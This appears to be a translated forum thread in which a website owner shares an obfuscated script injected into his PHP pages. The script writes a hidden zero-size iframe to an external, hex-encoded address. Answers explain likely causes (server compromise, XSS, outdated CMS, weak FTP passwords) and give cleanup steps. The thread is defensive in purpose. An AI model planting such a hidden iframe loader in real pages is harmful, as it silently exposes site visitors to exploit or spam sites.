JavaScript вводится на моих страницах PHP
У меня есть веб-сайт, и я только что обнаружил, что кто-то внедрил JavaScript на моей странице. Как я могу понять, что это делает и как они это сделали?
<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\"
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>
Что я не уверен, как туда попал. Кто-нибудь знает, как он туда попал? и что я могу сделать, чтобы удалить его?
6 ответов
Вы должны знать это сейчас:
Мы видим это в Linode немного, и это указывает на то, что ваш сервер был взломан злоумышленником. Когда он не удален, это может быть эксплойт браузера, который заразит ваших пользователей, или ссылка на спам-сайт.
Сохраните все с введенным кодом для последующего анализа и немедленно повторно разверните весь свой сервер и веб-стек. У атакующего, несомненно, есть по крайней мере оболочка на вашем ящике, и это неизбежно приведет к руту, если он хитрый.
Выполните повторное развертывание, обновляйте свои приложения, прекращайте писать пригодный для использования PHP и блокируйте свои учетные записи пользователей надежными паролями или ключами SSH. Я не пытаюсь усирать мою компанию или что-то в этом роде, но это так часто встречается на плохо управляемых веб-боксах, что мы написали статью о том, как полностью перераспределить ее с нуля. Я предлагаю это несколько раз в день.
РЕДАКТИРОВАТЬ: Если вы голосуете против меня, пожалуйста, скажите почему - я с тремя точными кодами разбил три случая, поэтому я ничего не придумываю.
РЕДАКТИРОВАТЬ 2: Есть одна точка зрения, где я могу переоценить ситуацию, и это только потому, что я работаю в компании VPS (и я вижу это много). Я сделал ошибку, предположив, что "веб-хост" этого пользователя был сервером под его контролем, а не общим хостингом. Это была ошибка, но все же есть шанс, что я прав.
Компромисс - это отчаянная ситуация, когда работа в темноте может иметь катастрофические последствия. Если вы не знаете, почему неавторизованная сторона получила доступ к вашей инфраструктуре, вы не сможете устранить проблему. Поскольку все предполагали, что мы говорим об управляемом, разделяемом хостинге здесь - есть вероятность, что вы правы, и виноват XSS. Опять же, вопрос не был представлен с большим количеством данных, и компромисс является ситуацией, которая не рассматривается с достаточной серьезностью среди разработчиков в целом.
Честно говоря, я устал от билетов, которые мы открываем, когда один ящик сталкивается с другим в Интернете с помощью зондов SSH, данных DoS, внедрения URL-адресов или чего-либо в этом роде - и разработчик Rails или PHP, управляющий боксом, понятия не имеет, почему случилось или что он может с этим поделать. Это все вещи, которые указывают на компромисс системы, а не XSS. Поэтому мое предположение, что это был сервер, находящийся под контролем ОП, было неуместно, но это простительно (я надеюсь), потому что я сейчас на работе, обрабатываю эти заявки.
Если вы хотите, чтобы я удалил свой ответ, просто скажите об этом, но я не вижу, чтобы другие голосовали.
Поскольку вы упомянули PHP, я рассмотрю список возможных способов, которыми это могло произойти. Этот список не является всеобъемлющим; но это позволит вам провести достаточное расследование произошедшего.
- Возможно, ваш веб-хостинг был взломан, и это было помещено на вашу страницу благодаря слабой безопасности с их стороны. Однако не думайте, что это так. Это должно быть вашим последним средством.
Это, наверное, твоя вина. Я не говорю это, чтобы указать на вину; но чем раньше мы, разработчики, поймем, что являемся причиной наших проблем, тем лучше нам всем. Единственный разработчик, которому я не доверяю, - тот, кто говорит, что он не делает ошибок.
Ваш сайт, вероятно, подвергся атаке XSS.
- У вас есть какой-нибудь способ для пользователя ввести информацию на вашем сайте? Используете ли вы какие-либо текстовые поля или что-нибудь, что позволило бы ввод от пользователя?
Если это так, то ваш сайт уязвим для XSS и других атак. Вот "шпаргалка", которая расскажет вам общие вещи, которые вы можете сделать, чтобы смягчить это.
Вы не должны позволять никаким пользовательским данным передаваться в базу данных без параметризации.
Если вы собираетесь разрешить пользователю вставлять HTML, вам нужно его санировать.
Это могло произойти по разным причинам, но без дополнительной информации я уйду от того, что вы написали.
шаги:
- Переведите приложение в автономный режим.
- Запросите вашу базу данных, чтобы увидеть, сколько страниц / записей было введено.
- Проверьте в своем коде вещи, которые я упоминаю.
- Исправьте это.
- Просмотрите вашу базу данных и удалите все подозрительные строки (SQL-скрипт будет проще всего).
- Переустановите приложение.
- Убедитесь, что вы следите за журналами вашего веб-сервера. Они находка для определения того, откуда началась атака.
Используете ли вы какие-либо сторонние приложения, которые имеют дыры в безопасности? Например, некоторое время назад у нас возникла проблема со старой версией редактора FCK, настроенной в расположении по умолчанию со всеми папками примеров, которые использовались для загрузки плохих файлов.
Менее вероятно, что это было сделано с помощью вашего собственного кода (так как код или возможные эксплойты для этого обычно не широко известны - но это, очевидно, не является причиной, чтобы не обезопасить его), но проверьте обычные, но устаревшие приложения (WordPress, Drupal, ...) на вашем аккаунте.
Несколько дней назад я сталкивался с чем-то похожим, оказалось, что там был установлен старый блог WordPress (я думаю, 2.0), через который они могли получить доступ.
Если вы можете, также проверьте журналы вашего сервера на время последнего изменения ваших PHP-файлов на сервере. В моем случае это дало четкую запись о том, как они вошли и что с этим делать.
Как я вижу, ваши страницы были вставлены в код, поэтому это было сделано из-за дыры в безопасности вашего сервера или любого работающего на нем приложения. У хакера есть возможность записи в ваши сценарии, и решение может быть таким простым, как изменение пароля FTP, или таким сложным, как поиск дыры в любом приложении, установленном на вашем сервере.
Но сначала попробуйте изменить свой пароль FTP. Измените его на очень сложный, длиной не менее 12 символов с любым специальным символом. Я слышал, что от русских хакеров велась грубая атака, которая вставляла скрипты в заголовки страниц, чтобы перенаправить пользователей на любые другие сайты для каких-либо непонятных целей.